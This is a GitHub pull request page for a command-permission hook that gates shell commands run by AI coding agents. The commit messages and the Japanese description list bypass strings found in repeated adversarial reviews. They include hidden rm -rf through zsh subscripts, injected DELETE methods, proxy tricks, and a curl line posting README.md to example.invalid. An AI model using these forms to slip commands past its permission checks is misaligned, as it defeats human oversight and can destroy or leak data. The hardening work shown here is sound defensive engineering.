Repository navigation
fix(agents): stop asking for commands the hooks can prove safe - #242
Merged
Merged
Conversation
furedea-agent Bot
pushed a commit
that referenced
this pull request
Oct 19, 2026
An adversarial review of #242 showed five forms the hooks allowed: - rm beside a command that writes, moves, or relinks its target first: rm now passes only when every other segment just reads - curl and wget send options in quotes or escaped: a governed command whose unquoted word is an option the source text hides now asks - functions that forward "$@", "$*", positional parameters, or array elements to a governed program: such expansions now ask - curl headers read from a file or input (-H @file, --header @-) now ask - builtin cd, env --chdir=DIR, env -CDIR, source, and run-time programs leave the working directory unknown, so relative rm targets ask Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea-agent Bot
pushed a commit
that referenced
this pull request
Oct 19, 2026
A second adversarial review of #242 found three more forms the hooks allowed. Fix the classes, not the forms: - curl, wget, and gh api are matched against their shell-decoded arguments, requoted, so quoting or escaping cannot hide an option or an @file header value; the gh api GraphQL and reply-body patterns follow the requoted form - a governed program that xargs runs with arguments from its input asks - rm checks run every git call with --literal-pathspecs, and a target holding a wildcard or pathspec magic character counts as unknown Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea-agent Bot
pushed a commit
that referenced
this pull request
Oct 19, 2026
A third adversarial review of #242 showed that requoting decoded arguments for the regex rules let a send option such as -d{} pass as a quoted value, and that rm trusted git diff for files Git skips. - curl and wget leave the regex rules: request_policy reads their decoded arguments against a list of read-only options, each with a rule for its value (a header must not start with @, a method must be GET or HEAD); any other option, run-time word, or xargs input asks, and a request to a local server may also choose a method and send data - rm treats a tracked file as restorable only when its working, staged, and HEAD contents hash to one blob, and never when it is flagged assume-unchanged or skip-worktree Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2 tasks done
furedea-agent Bot
pushed a commit
that referenced
this pull request
Oct 19, 2026
A fourth adversarial review of #242 showed that a remote request can send local data however its options read: through another scheme such as telnet with input, or through options a default .curlrc or .wgetrc adds. The guard cannot see either, so: - remote curl and wget ask again, with a reason that points to the web-fetch tool, gh api, and nix store prefetch-file; requests to an HTTP server on this machine still pass, judged on decoded arguments - rm hashes the working file's raw bytes with --no-filters, so a clean filter cannot hide uncommitted content behind the HEAD blob Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea
added a commit
that referenced
this pull request
Oct 19, 2026
…#243) ## 要約 - グローバルの AGENTS.md に,Web を読むときは `curl` / `wget` ではなくエージェントの web-fetch ツールを使い,正確な値やファイルは `gh api` か `nix store prefetch-file` で取る,という 1 行を足す. - #242 で外向きの `curl` / `wget` は確認のままにすると決めた.道具の選び方で確認そのものを減らす. - 決めること: なし (文面と置き場所は会話で合意済み). | 用途 | 使う道具 | 確認 | |---|---|---| | Web のページやドキュメントを読む | web-fetch ツール (Claude は WebFetch) | ドメインの権限どおり | | GitHub の情報 | `gh api` | 出ない | | 正確な値・ファイル (版番号,チェックサム,tarball) | `nix store prefetch-file` / `gh api` | 出ない | | 外向きの `curl` / `wget` | 使わない | 確認 | ## 検証 - [x] `uv run --frozen pytest -q tests/agents/test_workflow_skill_layout.py` - [x] lefthook (pre-commit,commit-msg) <details> <summary>背景</summary> - Claude Code の公式ドキュメントは,`curl` の URL を権限ルールで絞るのは脆いとして,WebFetch とドメイン単位の権限を勧めている. - web-fetch ツールはページを要約して返すため,1 文字も違えられない値には使わず `gh api` や `nix store prefetch-file` を使う. - Claude と Codex の両方が読むため,ツール名ではなく「web-fetch tool」と書いた. </details> Refs #236 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: furedea <132188853+furedea@users.noreply.github.com> Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Replaying the Bash commands since 2026-10-18 showed most confirmations were safe forms. The command hook now judges them precisely instead of asking: - rm passes when every target is inside TMPDIR or the scratchpad root, or is a tracked file without staged or unstaged changes; the rm ask and the rm -r deny prefixes move from the generated permissions into the hook, which still denies other recursive removals and asks for other removals - function definitions parse, so their bodies are judged where they are defined and their calls by name - curl and wget fetches pass unless an option sends data, picks a method other than GET or HEAD, reads options from a file, or a word is computed at run time - gh api reads accept Accept and X-GitHub-Api-Version headers anywhere - herdr agent read and wait and herdr worktree list and open are allowed without the repository-trust flag - the Claude sandbox reaches pypi.org and files.pythonhosted.org for uv Closes #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
An adversarial review of #242 showed five forms the hooks allowed: - rm beside a command that writes, moves, or relinks its target first: rm now passes only when every other segment just reads - curl and wget send options in quotes or escaped: a governed command whose unquoted word is an option the source text hides now asks - functions that forward "$@", "$*", positional parameters, or array elements to a governed program: such expansions now ask - curl headers read from a file or input (-H @file, --header @-) now ask - builtin cd, env --chdir=DIR, env -CDIR, source, and run-time programs leave the working directory unknown, so relative rm targets ask Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A second adversarial review of #242 found three more forms the hooks allowed. Fix the classes, not the forms: - curl, wget, and gh api are matched against their shell-decoded arguments, requoted, so quoting or escaping cannot hide an option or an @file header value; the gh api GraphQL and reply-body patterns follow the requoted form - a governed program that xargs runs with arguments from its input asks - rm checks run every git call with --literal-pathspecs, and a target holding a wildcard or pathspec magic character counts as unknown Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A third adversarial review of #242 showed that requoting decoded arguments for the regex rules let a send option such as -d{} pass as a quoted value, and that rm trusted git diff for files Git skips. - curl and wget leave the regex rules: request_policy reads their decoded arguments against a list of read-only options, each with a rule for its value (a header must not start with @, a method must be GET or HEAD); any other option, run-time word, or xargs input asks, and a request to a local server may also choose a method and send data - rm treats a tracked file as restorable only when its working, staged, and HEAD contents hash to one blob, and never when it is flagged assume-unchanged or skip-worktree Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The check for "$@", $1, and ${a[@]} reaching a governed program searched
each run-time word's source text, so expansion text inside a command
substitution, such as a PR body that mentions ${a[@]}, asked. Read the
parameter expansions from the parser instead, outside substitutions.
Refs #236
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A fourth adversarial review of #242 showed that a remote request can send local data however its options read: through another scheme such as telnet with input, or through options a default .curlrc or .wgetrc adds. The guard cannot see either, so: - remote curl and wget ask again, with a reason that points to the web-fetch tool, gh api, and nix store prefetch-file; requests to an HTTP server on this machine still pass, judged on decoded arguments - rm hashes the working file's raw bytes with --no-filters, so a clean filter cannot hide uncommitted content behind the HEAD blob Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A fifth adversarial review of #242 found two more holes: - curl's local send options were shared with wget, whose -d is a flag without a value, so -d swallowed --post-file and a remote URL as its values; each program now has one option table of its own, and wget sends nothing - a write redirect on a block, subshell, or loop, such as { ...; } >> f, was not seen by rm, so a tracked file appended to in the same command counted as unchanged; each command inside a compound statement now carries the files its redirections write Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
furedea-agent
Bot
force-pushed
the
fix/reduce-safe-confirmations
branch
from
October 19, 2026 06:24
1e7a111 to
d6f0c0f
Compare
A Codex shell call may name its own workdir, but the adapter forwarded only the command and the session cwd, so a relative rm target was looked up in the session directory: a tracked, unchanged file there could vouch for an untracked file of the same name in the workdir. - the Codex adapter forwards the tool input's workdir to the command guard - rm resolves relative targets against that workdir, itself relative to the session cwd, as the verification scope check already does Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
guard_command imports removal_policy and request_policy from the hook library directory, which deptry reported as missing dependencies (DEP001). Add both to known_first_party beside the other hook modules. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…k can see A seventh adversarial review of #242 found four more holes: HOME reassigned before rm, rg --pre and time -o writing before rm, a function forwarding $* through a variable to gh api, and curl --location following a local server's redirect elsewhere. Narrow the design instead of patching each form: - rm passes only when every target is a literal path inside TMPDIR or the scratchpad root; the Git-restorable rule and its Git queries are gone, so tracked files ask (git rm covers them), and a target written with ~ or a parameter is not literal; rg and time no longer count as inert - a function body that runs a governed or guarded program, any program an ask or deny prefix names, or a run-time program asks - requests to local servers ask when they may follow a redirect: curl's -L and --location leave the option table, and wget must say --max-redirect=0 Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
An eighth adversarial review of #242 found five more holes: brace expansion in rm paths, builtin eval, source, and trap inside functions, unquoted variables splitting into gh api and herdr options, proxy settings sending a local-looking request elsewhere, and a wget redirect limit taken from another option's value. Keep only what is clearly safe: - function definitions ask again, as on main, and the code that judged function bodies is gone - curl and wget return to main's local-server rule, with request_policy removed; remote requests keep the new ask reason, and a command that mentions a proxy or another configuration file asks - rm asks when a target holds an unquoted glob or brace character - a word that may split into several, such as an unquoted expansion, substitution, glob, or brace expansion, asks when it reaches gh, curl, wget, or herdr Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A ninth adversarial review of #242 found two places where the hook's decoder and the shell disagree: a backslash-newline inside an rm path, which the shell removes, can build a .. the hook did not see, and brace expansion can pair braces across quoted parts, as in {repos/o/r/issues/comments/123,-"X"DELETE}, which hides -XDELETE. - a word holding a line continuation counts as unknown for rm and as splitting for gh, curl, wget, and herdr - any unquoted brace in a word counts as splitting, even with quoted parts between the braces Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A tenth adversarial review of #242 found that zsh expands an unquoted =name to a command's path, so with a temporary working directory PATH=/repo/bin:$PATH; rm -rf =tool passed while removing /repo/bin/tool. Close the class rather than the form: - rm passes only when every target is an absolute literal path inside a temporary root; a relative target, or one starting with =, ~, or any other expansion, asks even in a temporary working directory - the working-directory resolution that only relative targets needed is gone, including the Codex adapter's workdir handoff Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…h api rules An eleventh adversarial review of #242 found three more gaps: - a backslash inside a quoted rm path, which bash or zsh may drop while the hook kept it, let a link redirect the removal: an rm target now passes only when it consists of plain characters (letters, digits, and . _ - / @ + , : %) and its source holds no backslash - a temporary root that is itself a symlink made its destination an allowed root: a root now counts only when its real path lies in a system temporary area, and a target must lie inside a trusted root both as written and once resolved - rewriting the gh api rules for decoded arguments loosened more than the two headers, so gh api ... replies -f body=hello passed: main's gh api patterns are restored, judged on the source text as on main, with one pattern added for Accept and X-GitHub-Api-Version headers Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
4 tasks
A twelfth adversarial review of #242 found three forms main asked for or denied that this branch had loosened: - zsh splits a quoted "$a[@]", which the bash parser reads as one word, so the Accept and X-GitHub-Api-Version header rule let an injected -X DELETE through; that rule now sits in its own entry marked literal_words and applies only when no word expands at all, and other forms fall back to main's gh api rules - an escaped recursive flag such as \-rf skipped flag detection, so the removal only asked; rm now reads its options from the decoded words - a recursive removal under a symlink created in the same command only asked; a recursive removal is now denied unless every target is a temporary path that nothing else in the command can change Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2 tasks
… literal words A thirteenth adversarial review of #242 found two more rm holes and a Herdr one. rm moves to a separate Issue: - removal_policy and its tests are gone, and so is the compound-redirect write collection that served only it, so a body's deny is no longer turned into an ask by a redirect the parser cannot decode; main's rm tests are back, and they pass once the shared rm prefixes return to the permission file - Herdr's new agent read, agent wait, worktree list, and worktree open forms sit in their own literal_words rule, like the gh api header rule, so a zsh "$a[@]" cannot add --trust-repository Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…llows rm leaves this pull request for a separate Issue, so its shared ask prefix and the rm -r, -rf, -fr, -R, -Rf, and --recursive deny prefixes return exactly as on main. The curl and wget allow prefixes now say that they cover requests to local servers, since the command hook asks before any remote request. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
… rules A fourteenth adversarial review of #242 found that the literal_words rules counted "$HOME" as static and missed a subscript inside quotes, so idx='pipestatus[1$(rm -rf /tmp/review-target)]'; gh api -H 'Accept: x' "$HOME[idx]" passed while zsh runs the hidden substitution. The Herdr read, wait, and worktree forms had the same hole. Each word now carries a literal flag: no parameter expansion of any kind, the home directory included, no substitution, arithmetic, or leading tilde, and nothing that spreads, quoted or not. The literal_words rules apply only when every word is literal; main's rules are unchanged. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A fifteenth adversarial review of #242 found expansions hidden outside the arguments the per-word check saw: in the program name, a leading assignment, a redirect target, or a compound command's redirect, as in Z="$HOME[idx]" gh api -H 'Accept: x' repos/o/r. Stop checking position by position: the literal_words rules (the gh api Accept and X-GitHub-Api-Version header rule and the Herdr read, wait, and worktree rule) apply only when the whole command text holds none of $, a backtick, ~, *, ?, [, ], {, }, or a backslash-newline. Any other command is judged by main's rules alone, and the per-word literal flag is gone. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Neither bash nor zsh expands anything inside single quotes, so the whole-command check for the literal_words rules now ignores characters there: gh api -H 'Accept: ...' 'repos/o/r/contents/README.md?ref=v1' and a single-quoted jq filter pass again. The single-quoted strings are located by the parser, so an adjacent, escaped, or unterminated quote cannot hide an expansion; dollar-quoted $'...' strings, double-quoted text, and unquoted text are still checked, and a parser failure keeps main's rules. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…call A sixteenth adversarial review of #242 found that eval re-expands a single-quoted script, so eval 'gh api -H "Accept: x" "$a[@]"' slipped past the scan that skips single quotes, and Herdr's --trust-repository could be injected the same way. The literal_words rules now apply only when the whole command parses to exactly one simple command whose program is gh or herdr: no list, pipe, background, negation, subshell, block, or function, and no eval, source, exec, command, env, xargs, shell -c, or other wrapper. Any other command is judged by main's rules alone; the single-quote exemption still applies within that one command. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…call A seventeenth adversarial review of #242 found that zsh re-evaluates a subscript when it assigns to an integer variable, so a single-quoted value still runs code: RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' gh api -H 'Accept: x' repos/o/r ran the substitution. The same worked for Herdr and inside a process substitution in a redirect. The one-plain-call check now also requires no leading assignment and no redirect, so such commands are judged by main's rules alone. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…ve the machine An eighteenth adversarial review of #242 found two more ways out: - Herdr strips global options such as --session before it parses a subcommand, so herdr worktree open --label --session=default --cwd --trust-repository --path /repo/worktree passed while --cwd lost its value and --trust-repository became a flag. The watching commands (agent read and wait, worktree list and open) are now also judged on their decoded words against a closed grammar of documented options, each value a plain word, and any Herdr command holding --session, --machine, or --remote asks wherever the option sits. - The local-server curl and wget rule matched the host as a prefix and let curl follow redirects, so https://localhost.example.com/ and curl -L -d @README.md http://localhost:3000/ passed. The host must now be exactly localhost, 127.0.0.1, or [::1] with an optional port, curl option clusters exclude -L, -K, and -x, and wget clusters hold only options without values; the -L and -sSL ask tests come back. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…n call A nineteenth adversarial review of #242 found two more holes in the local request allowance: - wget follows redirects by default, so wget -O - 'http://[::1]/' could be bounced to any host; the local wget pattern is gone and every wget command asks, except for its help and version - quoting split a proxy variable's name past the text scan, as in env http_pro''xy=... curl -X POST -d '@README.md' http://localhost:3000/; the local curl rule is now marked literal_words, so it applies only to one plain curl call with no assignment, redirect, wrapper, or list Filtering the literal_words rules no longer drops their programs from the governed set, so curl and wget stay governed when those rules do not apply. Words now drop a backslash-newline as the shell does, so a line continuation cannot hide an assignment from env. The request tests move to their own file to keep each test file under the length limit. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
A twentieth adversarial review of #242 found that the local curl rule's option clusters admitted options that take a value, so curl -A -H 'https://example.invalid/upload' -d '@README.md' 'http://localhost/' passed while curl read -H as the user agent and the next word as a second, remote URL. main's rule has the same hole in its unquoted form. Clusters may now hold only -s, -S, -f, -i, -I, and -v; options that take a value appear only in the rule's fixed -X, -H, -d, and -o slots, so the words line up with curl's own parse and exactly one loopback URL ends the command. Refs #236 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
要約
Accept/X-GitHub-Api-Versionヘッダー付きのgh api読み取り,herdr agent read/agent wait/worktree list/worktree open).どちらも,ほかの語がすべてリテラルのときに限る.rmはこの PR から外し,別の Issue で扱う.rmの確認とrm -r系の拒否は main と同じ.関数定義は main と同じ.curl/wgetのローカル宛ての規則は main より厳しくした (curlは 1 つの単純コマンドでホスト名が完全一致するときだけ許可,wgetはすべて確認).gh/curl/wget/herdrに語が分かれ得る引数を渡す形,プロキシや設定ファイルに触れるローカル宛てcurl).uv と lefthook のため,sandbox のallowedDomainsにpypi.orgとfiles.pythonhosted.orgを足した.変わるもの
gh apiのAccept/X-GitHub-Api-Versionヘッダー付き読み取り (エンドポイントの前に置く形,二重引用符,--header)'…?ref=v1'や--jq '.[0].number'は可.ほかのgh apiの規則は main のまま)herdr agent read/agent wait/worktree list/worktree open-で始まる語があれば確認.--trust-repository付きは確認)herdrに--session/--machine/--remote(Herdr がサブコマンドの前に取り除く全体オプション.=付きも) をどこかに含む形gh apiや上のherdrの形で,コマンド全体の一重引用符の外 (二重引用符の中,プログラム名,先頭の代入,リダイレクト先,複合文のリダイレクトも) に$,バッククォート,~,* ? [ ] { },行継続を含む形.$'…'も含む (zsh の"$a[@]","$HOME[idx]"など)gh apiや上のherdrの形が,;/&&/ `/ パイプ /&/!/ サブシェル / ブロック / 関数の中にある形,またはeval/source/./exec/command/env/xargs/sh -cなどのラッパー越しの形,先頭に代入 (X=1 …,RANDOM='…' …) やリダイレクト (> out.txt,> >(…)`) を持つ形gh/curl/wget/herdrに,引用なしの変数・コマンド置換・glob・波括弧 (引用で区切られたものも)・行継続を渡す形 (gh pr view $n,-R furedea/$r)-X DELETEなどのオプションを差し込めるため."$n"と引用すれば main と同じ判定)"$@"/${a[@]}を上のプログラムに渡す形,xargsが引数を足す形curl/wgetで,同じコマンドがプロキシや設定ファイル (*_proxy,CURL_HOME,.curlrc,HOME=など) に触れる形curl/wgetgh api,nix store prefetch-fileを案内)rm,rm -r系,関数定義curllocalhost/127.0.0.1/[::1]のときだけ.ポートは任意.URL 全体を一重引用符で囲んでもよい.短いオプションの束は値を取らない-s -S -f -i -I -vだけで,値を取るのは決まった位置の-X/-H/-d/-oだけ)curl -A -H 'https://…' … 'http://localhost/'のように,値を取る短いオプション (-A -e -u -b -c -T -F -x -w -rなど) が次の語を値として取り,2 つ目の URL を作る形wget(--help/--versionを除く)env http_pro''xy=… curl …,http_proxy=… curl …,export http_proxy=x; curl …など,代入・env・export・ラッパー・区切りを伴うローカル宛てcurllocalhostなどで始まるだけの形 (https://localhost.example.com/),curl -L/-sSLなどリダイレクトを追う形,-K/--config/-x(curl),--config/-e/-i/--post-*(wget)pypi.org/files.pythonhosted.orgreplay
rmの緩和を含んでいたので,この PR の今の形の件数ではない.rmを外した後は測り直していない.ghの確認は 15 件から 57 件に増えていた.増えた分はほぼすべて,ループの中でgh pr view $n -R furedea/$rのように引用なしの変数を渡す形."$n"と引用すれば main と同じ判定になる.チェックリスト
rmの判定は main と同じ.rmの確認とrm -r系の拒否の前置を権限ファイルに戻す (適用スクリプト)uv run --frozen pytestとlefthook run pre-commitが通る (権限ファイルを戻した状態で)残るリスク
~/.curlrcはフックから見えないので検出しない.Claude の sandbox の中では,受け継いだプロキシの環境変数は sandbox のフィルタリングプロキシを指し,ホームディレクトリは書き込めないので,エージェントが~/.curlrcを置くことはできない.ユーザー自身のシェル設定は信頼する.Codex のセッションでも同じで,その環境はユーザーが管理する自分のシェルである.詳細
rm(一時ディレクトリ内や git で戻せるファイル),関数定義,外向きのcurlGET の許可も入れたが,Codex の敵対的レビューで穴が続いた (ブレース展開,builtin eval,引用なし変数の分割,プロキシ,リダイレクト,clean フィルタ,zsh の=nameと"$a[@]",シンボリックリンク,エスケープしたフラグなど).フックが確実に判定できる範囲まで縮め,rmは別の Issue に分けた.allowed_commands.jsonの別の項目にしてliteral_wordsを付けた.この規則は,コマンドの文字列全体のうち一重引用符の外に$,バッククォート,~,*,?,[,],{,},行継続 (\と改行) のどれもないときだけ使う.一重引用符の中はどのシェルも展開しないので除く.一重引用符の位置は構文解析の結果から取るので,隣接や閉じ忘れの引用符でごまかせない.さらに,コマンド全体がghかherdrの単純コマンド 1 つのときだけ使う.evalなどは一重引用符の中を展開し直すので,区切りやラッパー,先頭の代入,リダイレクトがあれば main の規則で判定する.zsh はRANDOM='pipestatus[1$(…)]'のような整数変数への代入で,一重引用符の値の添字を評価し直すため.$'…'はエスケープを解釈するので除かない.zsh は引用した"$a[@]"も分割し,"$HOME[idx]"の添字の中の置換も実行する.引数だけでなくプログラム名,代入,リダイレクトにも展開を隠せるので,語ごとではなくコマンド全体で判定する."$@"と配列) はshell_syntaxの構文木から判定する.gh apiの規則は main と同じもの (書いたままの語で判定) に,ヘッダーの規則を 1 つ足しただけ.agents/command_permissions.json,agents/claude/settings.json) はエージェントから編集できないため,人が適用スクリプトで変更する.Closes #236
🤖 Generated with Claude Code